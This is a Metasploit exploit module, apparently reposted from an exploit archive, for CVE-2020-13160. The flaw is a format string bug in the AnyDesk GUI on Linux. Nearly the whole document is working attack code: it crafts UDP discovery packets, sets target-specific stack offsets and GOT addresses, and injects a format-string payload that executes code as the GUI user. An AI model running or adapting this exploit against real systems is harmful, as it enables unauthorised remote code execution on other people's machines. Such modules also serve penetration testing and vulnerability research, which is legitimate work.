Share
## https://sploitus.com/exploit?id=PACKETSTORM:158291
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'AnyDesk GUI Format String Write',  
'Description' => %q{  
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially  
crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the  
discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On  
successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.  
},  
'Author' => [  
'scryh', # vulnerability discovery and original exploit  
'Spencer McIntyre' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2020-13160' ],  
[ 'URL', 'https://devel0pment.de/?p=1881' ]  
],  
'Payload' => {  
'Space' => 512,  
'BadChars' => "\x00\x25\x26"  
},  
'Platform' => 'linux',  
'Arch' => ARCH_X64,  
'DefaultOptions' => {  
'CPORT' => 50001,  
'PrependFork' => true,  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [ CRASH_SERVICE_DOWN ],  
'SideEffects' => [ SCREEN_EFFECTS ],  
'Reliability' => [ UNRELIABLE_SESSION ]  
},  
'Targets' =>  
[  
[  
'Anydesk 5.5.2 Ubuntu 20.04 x64',  
{ 'stkref1' => 109, 'stkref2' => 125, 'time@got.plt' => 0x119ddc0 - 139 }  
],  
[  
'Anydesk 5.5.2 Ubuntu 18.04 x64',  
{ 'stkref1' => 93, 'stkref2' => 165, 'time@got.plt' => 0x119ddc0 - 135 }  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-06-16'  
)  
)  
  
register_options([  
Opt::RPORT(50001)  
])  
register_advanced_options([  
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),  
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])  
])  
end  
  
def build_discover_packet(hn, user, inf, func)  
buf = "\x3e\xd1\x01"  
buf << [4919].pack('N')  
buf << [0].pack('N')  
buf << "\x02" + "\x01" # os  
buf << [hn.length].pack('N') << hn  
buf << [user.length].pack('N') << user  
buf << [0].pack('N')  
buf << [inf.length].pack('N') << inf  
buf << "\x00"  
buf << [func.length].pack('N') << func  
buf << "\x02\xc3\x51"  
end  
  
def discover  
server_sock = Rex::Socket::Udp.create(  
'LocalHost' => datastore['SRVHOST'],  
'LocalPort' => datastore['SRVPORT'],  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
  
client_sock = connect_udp(false, {  
'RPORT' => datastore['RPORT'],  
'CPORT' => 0  
})  
client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))  
  
timeout = 10  
while timeout > 0  
start_time = Time.now  
response, host, = server_sock.recvfrom(8192, timeout)  
break if host == datastore['RHOST']  
  
timeout = Time.now - start_time  
end  
  
return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]  
return nil unless response[11] == "\x02"  
  
disconnect_udp(client_sock)  
server_sock.close  
  
hostname = response[17..17 + response[13..16].unpack1('N')]  
report_host(host: datastore['RHOST'], name: hostname)  
  
{  
hostname: hostname,  
os: response[12] == "\x02" ? :linux : nil  
}  
end  
  
def check  
info = discover  
return CheckCode::Safe if info.nil?  
  
CheckCode::Detected("Remote hostname: #{info[:hostname]}")  
end  
  
def bad_unicode  
[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')  
end  
  
def exploit  
info = discover  
fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?  
fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux  
  
print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")  
  
connect_udp  
  
hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"  
hn << payload.encoded  
udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['time@got.plt']}x%#{target['stkref1']}$ln", 'ad', 'main'))  
print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')  
  
ensure  
disconnect_udp  
end  
end